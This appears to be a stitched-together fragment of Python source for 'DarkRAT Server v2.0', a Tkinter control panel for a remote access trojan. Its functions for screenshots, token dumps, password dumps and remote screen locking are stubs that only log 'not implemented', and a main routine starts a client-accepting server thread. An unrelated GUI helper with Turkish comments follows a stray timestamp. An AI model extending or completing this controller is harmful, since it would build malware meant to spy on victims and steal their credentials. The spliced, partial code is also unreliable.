--- def request_screenshot(): Logger.info("Screenshot feature not implemented in this version") def start_streaming(): Logger.info("Streaming feature not implemented in this version") def stop_streaming(): Logger.info("Streaming feature not implemented in this version") def request_system_info(): Logger.info("System info feature not implemented in this version") def request_token_dump(): Logger.info("Token dump feature not implemented in this version") def request_password_dump(): Logger.info("Password dump feature not implemented in this version") def request_logs(): Logger.info("Logs feature not implemented in this version") def request_lock_screen(): Logger.info("Lock screen feature not implemented in this version") # --- Initialize Application --- def main(): # Create GUI create_gui() # Start server thread threading.Thread(target=accept_clients, daemon=True).start() # Start log processor window.after(100, process_log_queue) # Status bar status_bar = tk.Label(window, text="DarkRAT Server v2.0 - Ready", bg=ACCENT_COLOR, fg=FG_COLOR, font=("Segoe UI", 10, "bold")) status_bar.pack(side="bottom", fill="x") Logger.success("DarkRAT Server started successfully") # Start main loop window.mainloop() if __name__ == "__main__": main() 2025-11-09 19:40:59 - def create_section(self, parent, title): """Başlıklı bölüm oluştur - TAMAMEN DÜZELTİLDİ""" section_frame = tk.Frame(parent, bg=BG_COLOR) header = tk.Frame(section_frame, bg=HEADER_BG) header.pack(fill="x", pady=(0, 5)) tk.Label(header, text=title, bg=HEADER_BG, fg=HIGHLIGHT_COLOR, font=("Segoe UI", 10, "bold")).pack(side="left", padx=10, pady=5) content_frame = tk.Frame(section_frame, bg=FRAME_BG, relief="flat", bd=1, highlightbackground=BORDER_COLOR) content_frame.pack(fill="both", expand=True, padx=0, pady=0) return section_frame # section_frame return ediliyor, content_frame değil